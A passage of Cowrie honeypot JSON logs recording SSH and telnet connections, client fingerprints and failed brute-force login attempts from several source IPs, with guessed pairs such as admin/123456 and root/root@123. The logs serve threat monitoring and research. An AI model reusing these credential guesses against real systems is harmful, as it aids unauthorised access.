-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:11.608039Z","src_ip":"192.109.200.78","session":"5b91c066de1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:11.855411Z","src_ip":"192.109.200.78","session":"5b91c066de1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:12.952550Z","src_ip":"192.109.200.78","session":"5b91c066de1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33310,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b71788ada5","protocol":"ssh","message":"New connection: 192.109.200.78:33310 (10.17.0.5:22) [session: 52b71788ada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:15.758339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:15.765020Z","src_ip":"192.109.200.78","session":"52b71788ada5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:15.847922Z","src_ip":"192.109.200.78","session":"52b71788ada5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:16.105476Z","src_ip":"192.109.200.78","session":"52b71788ada5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:17.192786Z","src_ip":"192.109.200.78","session":"52b71788ada5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":48470,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6d3d00c354","protocol":"telnet","message":"New connection: 5.42.229.203:48470 (159.203.135.109:23) [session: ca6d3d00c354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:18.994515Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8cb25a9f361","protocol":"ssh","message":"New connection: 192.109.200.78:49668 (10.17.0.5:22) [session: e8cb25a9f361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:19.753045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:19.759103Z","src_ip":"192.109.200.78","session":"e8cb25a9f361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:19.843700Z","src_ip":"192.109.200.78","session":"e8cb25a9f361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:20.092891Z","src_ip":"192.109.200.78","session":"e8cb25a9f361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:21.178918Z","src_ip":"192.109.200.78","session":"e8cb25a9f361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49682,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ccb6203061","protocol":"ssh","message":"New connection: 192.109.200.78:49682 (10.17.0.5:22) [session: b7ccb6203061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:23.819994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:23.824818Z","src_ip":"192.109.200.78","session":"b7ccb6203061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:23.911572Z","src_ip":"192.109.200.78","session":"b7ccb6203061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:24.163847Z","src_ip":"192.109.200.78","session":"b7ccb6203061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:25.248929Z","src_ip":"192.109.200.78","session":"b7ccb6203061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49690,"dst_ip":"10.17.0.5","dst_port":22,"session":"a834ae1b9f0c","protocol":"ssh","message":"New connection: 192.109.200.78:49690 (10.17.0.5:22) [session: a834ae1b9f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:27.944818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:27.949406Z","src_ip":"192.109.200.78","session":"a834ae1b9f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.031896Z","src_ip":"192.109.200.78","session":"a834ae1b9f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.280210Z","src_ip":"192.109.200.78","session":"a834ae1b9f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":24733,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8a8d045f316","protocol":"ssh","message":"New connection: 213.209.159.159:24733 (10.17.0.5:22) [session: c8a8d045f316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.374041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.378707Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.460810Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo","message":"login attempt [everardo/everardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:28.863864Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:29.365410Z","src_ip":"192.109.200.78","session":"a834ae1b9f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo1","message":"login attempt [everardo/everardo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:29.948825Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo123","message":"login attempt [everardo/everardo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:31.033861Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo1234","message":"login attempt [everardo/everardo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:32.120048Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60384,"dst_ip":"10.17.0.5","dst_port":22,"session":"663e74bdcbc9","protocol":"ssh","message":"New connection: 192.109.200.78:60384 (10.17.0.5:22) [session: 663e74bdcbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:32.205285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:32.210735Z","src_ip":"192.109.200.78","session":"663e74bdcbc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:32.293209Z","src_ip":"192.109.200.78","session":"663e74bdcbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:32.567573Z","src_ip":"192.109.200.78","session":"663e74bdcbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo12345","message":"login attempt [everardo/everardo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:33.205219Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:33.747257Z","src_ip":"192.109.200.78","session":"663e74bdcbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:34.291473Z","src_ip":"213.209.159.159","session":"c8a8d045f316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60400,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b28bd3b5914","protocol":"ssh","message":"New connection: 192.109.200.78:60400 (10.17.0.5:22) [session: 0b28bd3b5914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:36.430559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:36.452049Z","src_ip":"192.109.200.78","session":"0b28bd3b5914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:36.516634Z","src_ip":"192.109.200.78","session":"0b28bd3b5914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:36.833864Z","src_ip":"192.109.200.78","session":"0b28bd3b5914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:37.920265Z","src_ip":"192.109.200.78","session":"0b28bd3b5914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51238,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcf331f7ede","protocol":"ssh","message":"New connection: 192.109.200.78:51238 (10.17.0.5:22) [session: 9fcf331f7ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:41.518831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:41.572435Z","src_ip":"192.109.200.78","session":"9fcf331f7ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rs